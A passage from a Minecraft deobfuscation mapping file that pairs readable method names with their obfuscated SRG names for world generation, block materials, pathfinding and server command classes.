net/minecraft/world/gen/structure/StructureVillagePieces/func_75079_a (Ljava/util/List;)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces/getStructureVillageWeightedPieceList (Ljava/util/Random;I)Ljava/util/List; net/minecraft/world/gen/structure/StructureVillagePieces/func_75084_a (Ljava/util/Random;I)Ljava/util/List; +MD: net/minecraft/world/gen/structure/StructureVillagePieces/access$100 (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureVillagePieces/access$100 (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureVillagePieces/func_176067_c (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Village; net/minecraft/world/gen/structure/StructureVillagePieces/func_176067_c (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Village; +MD: net/minecraft/world/gen/structure/StructureVillagePieces/func_176066_d (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureVillagePieces/func_176066_d (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureVillagePieces/func_176069_e (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureVillagePieces/func_176069_e (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/command/server/CommandOp/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandOp/func_82362_a ()I +MD: net/minecraft/command/server/CommandOp/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandOp/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandOp/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandOp/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandOp/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandOp/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandOp/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandOp/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/gen/NoiseGeneratorImproved/func_76309_a (IDD)D net/minecraft/world/gen/NoiseGeneratorImproved/func_76309_a (IDD)D +MD: net/minecraft/world/gen/NoiseGeneratorImproved/grad (IDDD)D net/minecraft/world/gen/NoiseGeneratorImproved/func_76310_a (IDDD)D +MD: net/minecraft/world/gen/NoiseGeneratorImproved/populateNoiseArray ([DDDDIIIDDDD)V net/minecraft/world/gen/NoiseGeneratorImproved/func_76308_a ([DDDDIIIDDDD)V +MD: net/minecraft/world/gen/NoiseGeneratorImproved/lerp (DDD)D net/minecraft/world/gen/NoiseGeneratorImproved/func_76311_b (DDD)D +MD: net/minecraft/world/gen/NoiseGeneratorOctaves/generateNoiseOctaves ([DIIIIDDD)[D net/minecraft/world/gen/NoiseGeneratorOctaves/func_76305_a ([DIIIIDDD)[D +MD: net/minecraft/world/gen/NoiseGeneratorOctaves/generateNoiseOctaves ([DIIIIIIDDD)[D net/minecraft/world/gen/NoiseGeneratorOctaves/func_76304_a ([DIIIIIIDDD)[D +MD: net/minecraft/world/gen/NoiseGeneratorPerlin/func_151601_a (DD)D net/minecraft/world/gen/NoiseGeneratorPerlin/func_151601_a (DD)D +MD: net/minecraft/world/gen/NoiseGeneratorPerlin/func_151599_a ([DDDIIDDD)[D net/minecraft/world/gen/NoiseGeneratorPerlin/func_151599_a ([DDDIIDDD)[D +MD: net/minecraft/world/gen/NoiseGeneratorPerlin/func_151600_a ([DDDIIDDDD)[D net/minecraft/world/gen/NoiseGeneratorPerlin/func_151600_a ([DDDIIDDDD)[D +MD: net/minecraft/world/gen/NoiseGeneratorSimplex/func_151607_a (D)I net/minecraft/world/gen/NoiseGeneratorSimplex/func_151607_a (D)I +MD: net/minecraft/world/gen/NoiseGeneratorSimplex/func_151605_a (DD)D net/minecraft/world/gen/NoiseGeneratorSimplex/func_151605_a (DD)D +MD: net/minecraft/world/gen/NoiseGeneratorSimplex/func_151606_a ([DDDIIDDD)V net/minecraft/world/gen/NoiseGeneratorSimplex/func_151606_a ([DDDIIDDD)V +MD: net/minecraft/world/gen/NoiseGeneratorSimplex/func_151604_a ([IDD)D net/minecraft/world/gen/NoiseGeneratorSimplex/func_151604_a ([IDD)D +MD: net/minecraft/block/material/MaterialLogic/isSolid ()Z net/minecraft/block/material/MaterialLogic/func_76220_a ()Z +MD: net/minecraft/block/material/MaterialLogic/blocksLight ()Z net/minecraft/block/material/MaterialLogic/func_76228_b ()Z +MD: net/minecraft/block/material/MaterialLogic/blocksMovement ()Z net/minecraft/block/material/MaterialLogic/func_76230_c ()Z +MD: net/minecraft/block/material/MaterialTransparent/isSolid ()Z net/minecraft/block/material/MaterialTransparent/func_76220_a ()Z +MD: net/minecraft/block/material/MaterialTransparent/blocksLight ()Z net/minecraft/block/material/MaterialTransparent/func_76228_b ()Z +MD: net/minecraft/block/material/MaterialTransparent/blocksMovement ()Z net/minecraft/block/material/MaterialTransparent/func_76230_c ()Z +MD: net/minecraft/block/material/MaterialLiquid/isSolid ()Z net/minecraft/block/material/MaterialLiquid/func_76220_a ()Z +MD: net/minecraft/block/material/MaterialLiquid/blocksMovement ()Z net/minecraft/block/material/MaterialLiquid/func_76230_c ()Z +MD: net/minecraft/block/material/MaterialLiquid/isLiquid ()Z net/minecraft/block/material/MaterialLiquid/func_76224_d ()Z +MD: net/minecraft/block/material/Material$1/blocksMovement ()Z net/minecraft/block/material/Material$1/func_76230_c ()Z +MD: net/minecraft/block/material/Material/isSolid ()Z net/minecraft/block/material/Material/func_76220_a ()Z +MD: net/minecraft/block/material/Material/blocksLight ()Z net/minecraft/block/material/Material/func_76228_b ()Z +MD: net/minecraft/block/material/Material/blocksMovement ()Z net/minecraft/block/material/Material/func_76230_c ()Z +MD: net/minecraft/block/material/Material/isLiquid ()Z net/minecraft/block/material/Material/func_76224_d ()Z +MD: net/minecraft/block/material/Material/setRequiresTool ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_76221_f ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/Material/setBurning ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_76226_g ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/Material/getCanBurn ()Z net/minecraft/block/material/Material/func_76217_h ()Z +MD: net/minecraft/block/material/Material/setReplaceable ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_76231_i ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/Material/isReplaceable ()Z net/minecraft/block/material/Material/func_76222_j ()Z +MD: net/minecraft/block/material/Material/isOpaque ()Z net/minecraft/block/material/Material/func_76218_k ()Z +MD: net/minecraft/block/material/Material/isToolNotRequired ()Z net/minecraft/block/material/Material/func_76229_l ()Z +MD: net/minecraft/block/material/Material/getMaterialMobility ()I net/minecraft/block/material/Material/func_76227_m ()I +MD: net/minecraft/block/material/Material/setNoPushMobility ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_76219_n ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/Material/setImmovableMobility ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_76225_o ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/Material/setAdventureModeExempt ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_85158_p ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/Material/getMaterialMapColor ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/material/Material/func_151565_r ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/material/Material/setTranslucent ()Lnet/minecraft/block/material/Material; net/minecraft/block/material/Material/func_76223_p ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/material/MapColor/getMapColor (I)I net/minecraft/block/material/MapColor/func_151643_b (I)I +MD: net/minecraft/block/material/MaterialPortal/isSolid ()Z net/minecraft/block/material/MaterialPortal/func_76220_a ()Z +MD: net/minecraft/block/material/MaterialPortal/blocksLight ()Z net/minecraft/block/material/MaterialPortal/func_76228_b ()Z +MD: net/minecraft/block/material/MaterialPortal/blocksMovement ()Z net/minecraft/block/material/MaterialPortal/func_76230_c ()Z +MD: net/minecraft/world/gen/layer/GenLayerDeepOcean/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerDeepOcean/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerEdge$Mode/values ()[Lnet/minecraft/world/gen/layer/GenLayerEdge$Mode; net/minecraft/world/gen/layer/GenLayerEdge$Mode/values ()[Lnet/minecraft/world/gen/layer/GenLayerEdge$Mode; +MD: net/minecraft/world/gen/layer/GenLayerEdge/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerEdge/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerEdge/getIntsCoolWarm (IIII)[I net/minecraft/world/gen/layer/GenLayerEdge/func_151626_c (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerEdge/getIntsHeatIce (IIII)[I net/minecraft/world/gen/layer/GenLayerEdge/func_151624_d (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerEdge/getIntsSpecial (IIII)[I net/minecraft/world/gen/layer/GenLayerEdge/func_151625_e (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerAddIsland/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerAddIsland/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerAddMushroomIsland/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerAddMushroomIsland/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerAddSnow/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerAddSnow/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerBiomeEdge/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerBiomeEdge/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerBiomeEdge/replaceBiomeEdgeIfNecessary ([I[IIIIIII)Z net/minecraft/world/gen/layer/GenLayerBiomeEdge/func_151636_a ([I[IIIIIII)Z +MD: net/minecraft/world/gen/layer/GenLayerBiomeEdge/canBiomesBeNeighbors (II)Z net/minecraft/world/gen/layer/GenLayerBiomeEdge/func_151634_b (II)Z +MD: net/minecraft/world/gen/layer/GenLayerBiomeEdge/replaceBiomeEdge ([I[IIIIIII)Z net/minecraft/world/gen/layer/GenLayerBiomeEdge/func_151635_b ([I[IIIIIII)Z +MD: net/minecraft/world/gen/layer/GenLayerBiome/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerBiome/func_75904_a (IIII)[I +MD: net/minecraft/command/server/CommandPardonIp/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandPardonIp/func_82362_a ()I +MD: net/minecraft/command/server/CommandPardonIp/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/server/CommandPardonIp/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/server/CommandPardonIp/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandPardonIp/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandPardonIp/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandPardonIp/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandPardonIp/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandPardonIp/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandPardonIp/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandPardonIp/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/gen/layer/GenLayerFuzzyZoom/selectModeOrRandom (IIII)I net/minecraft/world/gen/layer/GenLayerFuzzyZoom/func_151617_b (IIII)I +MD: net/minecraft/world/gen/layer/IntCache/resetIntCache ()V net/minecraft/world/gen/layer/IntCache/func_76446_a ()V +MD: net/minecraft/world/gen/layer/IntCache/getIntCache (I)[I net/minecraft/world/gen/layer/IntCache/func_76445_a (I)[I +MD: net/minecraft/world/gen/layer/IntCache/getCacheSizes ()Ljava/lang/String; net/minecraft/world/gen/layer/IntCache/func_85144_b ()Ljava/lang/String; +MD: net/minecraft/world/gen/layer/GenLayerIsland/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerIsland/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayer$1/call ()Ljava/lang/String; net/minecraft/world/gen/layer/GenLayer$1/call ()Ljava/lang/String; +MD: net/minecraft/world/gen/layer/GenLayer$1/call ()Ljava/lang/Object; net/minecraft/world/gen/layer/GenLayer$1/call ()Ljava/lang/Object; +MD: net/minecraft/world/gen/layer/GenLayer$2/call ()Ljava/lang/String; net/minecraft/world/gen/layer/GenLayer$2/call ()Ljava/lang/String; +MD: net/minecraft/world/gen/layer/GenLayer$2/call ()Ljava/lang/Object; net/minecraft/world/gen/layer/GenLayer$2/call ()Ljava/lang/Object; +MD: net/minecraft/world/gen/layer/GenLayer/nextInt (I)I net/minecraft/world/gen/layer/GenLayer/func_75902_a (I)I +MD: net/minecraft/world/gen/layer/GenLayer/biomesEqualOrMesaPlateau (II)Z net/minecraft/world/gen/layer/GenLayer/func_151616_a (II)Z +MD: net/minecraft/world/gen/layer/GenLayer/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayer/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayer/initWorldGenSeed (J)V net/minecraft/world/gen/layer/GenLayer/func_75905_a (J)V +MD: net/minecraft/world/gen/layer/GenLayer/initChunkSeed (JJ)V net/minecraft/world/gen/layer/GenLayer/func_75903_a (JJ)V +MD: net/minecraft/world/gen/layer/GenLayer/initializeAllBiomeGenerators (JLnet/minecraft/world/WorldType;Ljava/lang/String;)[Lnet/minecraft/world/gen/layer/GenLayer; net/minecraft/world/gen/layer/GenLayer/func_180781_a (JLnet/minecraft/world/WorldType;Ljava/lang/String;)[Lnet/minecraft/world/gen/layer/GenLayer; +MD: net/minecraft/world/gen/layer/GenLayer/selectRandom ([I)I net/minecraft/world/gen/layer/GenLayer/func_151619_a ([I)I +MD: net/minecraft/world/gen/layer/GenLayer/isBiomeOceanic (I)Z net/minecraft/world/gen/layer/GenLayer/func_151618_b (I)Z +MD: net/minecraft/world/gen/layer/GenLayer/selectModeOrRandom (IIII)I net/minecraft/world/gen/layer/GenLayer/func_151617_b (IIII)I +MD: net/minecraft/world/gen/layer/GenLayerRareBiome/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerRareBiome/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerHills/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerHills/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerRemoveTooMuchOcean/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerRemoveTooMuchOcean/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerRiverInit/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerRiverInit/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerRiver/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerRiver/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerRiver/func_151630_c (I)I net/minecraft/world/gen/layer/GenLayerRiver/func_151630_c (I)I +MD: net/minecraft/world/gen/layer/GenLayerRiverMix/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerRiverMix/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerRiverMix/initWorldGenSeed (J)V net/minecraft/world/gen/layer/GenLayerRiverMix/func_75905_a (J)V +MD: net/minecraft/world/gen/layer/GenLayerShore/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerShore/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerShore/func_151632_a ([I[IIIIII)V net/minecraft/world/gen/layer/GenLayerShore/func_151632_a ([I[IIIIII)V +MD: net/minecraft/world/gen/layer/GenLayerShore/func_151631_c (I)Z net/minecraft/world/gen/layer/GenLayerShore/func_151631_c (I)Z +MD: net/minecraft/world/gen/layer/GenLayerShore/func_151633_d (I)Z net/minecraft/world/gen/layer/GenLayerShore/func_151633_d (I)Z +MD: net/minecraft/world/gen/layer/GenLayerSmooth/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerSmooth/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerVoronoiZoom/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerVoronoiZoom/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerZoom/getInts (IIII)[I net/minecraft/world/gen/layer/GenLayerZoom/func_75904_a (IIII)[I +MD: net/minecraft/world/gen/layer/GenLayerZoom/magnify (JLnet/minecraft/world/gen/layer/GenLayer;I)Lnet/minecraft/world/gen/layer/GenLayer; net/minecraft/world/gen/layer/GenLayerZoom/func_75915_a (JLnet/minecraft/world/gen/layer/GenLayer;I)Lnet/minecraft/world/gen/layer/GenLayer; +MD: net/minecraft/pathfinding/Path/clearPath ()V net/minecraft/pathfinding/Path/func_75848_a ()V +MD: net/minecraft/pathfinding/Path/sortBack (I)V net/minecraft/pathfinding/Path/func_75847_a (I)V +MD: net/minecraft/pathfinding/Path/addPoint (Lnet/minecraft/pathfinding/PathPoint;)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/pathfinding/Path/func_75849_a (Lnet/minecraft/pathfinding/PathPoint;)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/pathfinding/Path/changeDistance (Lnet/minecraft/pathfinding/PathPoint;F)V net/minecraft/pathfinding/Path/func_75850_a (Lnet/minecraft/pathfinding/PathPoint;F)V +MD: net/minecraft/pathfinding/Path/sortForward (I)V net/minecraft/pathfinding/Path/func_75846_b (I)V +MD: net/minecraft/pathfinding/Path/dequeue ()Lnet/minecraft/pathfinding/PathPoint; net/minecraft/pathfinding/Path/func_75844_c ()Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/pathfinding/Path/isPathEmpty ()Z net/minecraft/pathfinding/Path/func_75845_e ()Z +MD: net/minecraft/pathfinding/PathPoint/isAssigned ()Z net/minecraft/pathfinding/PathPoint/func_75831_a ()Z +MD: net/minecraft/pathfinding/PathPoint/makeHash (III)I net/minecraft/pathfinding/PathPoint/func_75830_a (III)I +MD: net/minecraft/pathfinding/PathPoint/distanceTo (Lnet/minecraft/pathfinding/PathPoint;)F net/minecraft/pathfinding/PathPoint/func_75829_a (Lnet/minecraft/pathfinding/PathPoint;)F +MD: net/minecraft/pathfinding/PathPoint/distanceToSquared (Lnet/minecraft/pathfinding/PathPoint;)F net/minecraft/pathfinding/PathPoint/func_75832_b (Lnet/minecraft/pathfinding/PathPoint;)F +MD: net/minecraft/pathfinding/PathPoint/equals (Ljava/lang/Object;)Z net/minecraft/pathfinding/PathPoint/equals (Ljava/lang/Object;)Z +MD: net/minecraft/pathfinding/PathPoint/hashCode ()I net/minecraft/pathfinding/PathPoint/hashCode ()I +MD: net/minecraft/pathfinding/PathPoint/toString ()Ljava/lang/String; net/minecraft/pathfinding/PathPoint/toString ()Ljava/lang/String; +MD: net/minecraft/world/pathfinder/NodeProcessor/postProcess ()V net/minecraft/world/pathfinder/NodeProcessor/func_176163_a ()V +MD: net/minecraft/world/pathfinder/NodeProcessor/openPoint (III)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/NodeProcessor/func_176159_a (III)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/NodeProcessor/initProcessor (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;)V net/minecraft/world/pathfinder/NodeProcessor/func_176162_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/pathfinder/NodeProcessor/getPathPointTo (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/NodeProcessor/func_176161_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/NodeProcessor/getPathPointToCoords (Lnet/minecraft/entity/Entity;DDD)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/NodeProcessor/func_176160_a (Lnet/minecraft/entity/Entity;DDD)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/NodeProcessor/findPathOptions ([Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)I net/minecraft/world/pathfinder/NodeProcessor/func_176164_a ([Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)I +MD: net/minecraft/pathfinding/PathEntity/incrementPathIndex ()V net/minecraft/pathfinding/PathEntity/func_75875_a ()V +MD: net/minecraft/pathfinding/PathEntity/getPathPointFromIndex (I)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/pathfinding/PathEntity/func_75877_a (I)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/pathfinding/PathEntity/isSamePath (Lnet/minecraft/pathfinding/PathEntity;)Z net/minecraft/pathfinding/PathEntity/func_75876_a (Lnet/minecraft/pathfinding/PathEntity;)Z +MD: net/minecraft/pathfinding/PathEntity/getPosition (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/Vec3; net/minecraft/pathfinding/PathEntity/func_75878_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/pathfinding/PathEntity/getVectorFromIndex (Lnet/minecraft/entity/Entity;I)Lnet/minecraft/util/Vec3; net/minecraft/pathfinding/PathEntity/func_75881_a (Lnet/minecraft/entity/Entity;I)Lnet/minecraft/util/Vec3; +MD: net/minecraft/pathfinding/PathEntity/isFinished ()Z net/minecraft/pathfinding/PathEntity/func_75879_b ()Z +MD: net/minecraft/pathfinding/PathEntity/setCurrentPathLength (I)V net/minecraft/pathfinding/PathEntity/func_75871_b (I)V +MD: net/minecraft/pathfinding/PathEntity/isDestinationSame (Lnet/minecraft/util/Vec3;)Z net/minecraft/pathfinding/PathEntity/func_75880_b (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/pathfinding/PathEntity/getFinalPathPoint ()Lnet/minecraft/pathfinding/PathPoint; net/minecraft/pathfinding/PathEntity/func_75870_c ()Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/pathfinding/PathEntity/setCurrentPathIndex (I)V net/minecraft/pathfinding/PathEntity/func_75872_c (I)V +MD: net/minecraft/pathfinding/PathEntity/getCurrentPathLength ()I net/minecraft/pathfinding/PathEntity/func_75874_d ()I +MD: net/minecraft/pathfinding/PathEntity/getCurrentPathIndex ()I net/minecraft/pathfinding/PathEntity/func_75873_e ()I +MD: net/minecraft/pathfinding/PathFinder/createEntityPathTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;DDDF)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathFinder/func_176189_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;DDDF)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathFinder/createEntityPathTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/BlockPos;F)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathFinder/func_180782_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/BlockPos;F)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathFinder/createEntityPathTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;F)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathFinder/func_176188_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;F)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathFinder/createEntityPath (Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathFinder/func_75853_a (Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathFinder/addToPath (Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathFinder/func_176187_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/postProcess ()V net/minecraft/world/pathfinder/SwimNodeProcessor/func_176163_a ()V +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/initProcessor (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;)V net/minecraft/world/pathfinder/SwimNodeProcessor/func_176162_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/getPathPointTo (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/SwimNodeProcessor/func_176161_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/getPathPointToCoords (Lnet/minecraft/entity/Entity;DDD)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/SwimNodeProcessor/func_176160_a (Lnet/minecraft/entity/Entity;DDD)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/getSafePoint (Lnet/minecraft/entity/Entity;III)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/SwimNodeProcessor/func_176185_a (Lnet/minecraft/entity/Entity;III)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/findPathOptions ([Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)I net/minecraft/world/pathfinder/SwimNodeProcessor/func_176164_a ([Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)I +MD: net/minecraft/world/pathfinder/SwimNodeProcessor/func_176186_b (Lnet/minecraft/entity/Entity;III)I net/minecraft/world/pathfinder/SwimNodeProcessor/func_176186_b (Lnet/minecraft/entity/Entity;III)I +MD: net/minecraft/command/server/CommandPardonPlayer/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandPardonPlayer/func_82362_a ()I +MD: net/minecraft/command/server/CommandPardonPlayer/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/server/CommandPardonPlayer/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/server/CommandPardonPlayer/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandPardonPlayer/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandPardonPlayer/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandPardonPlayer/func_180525_a 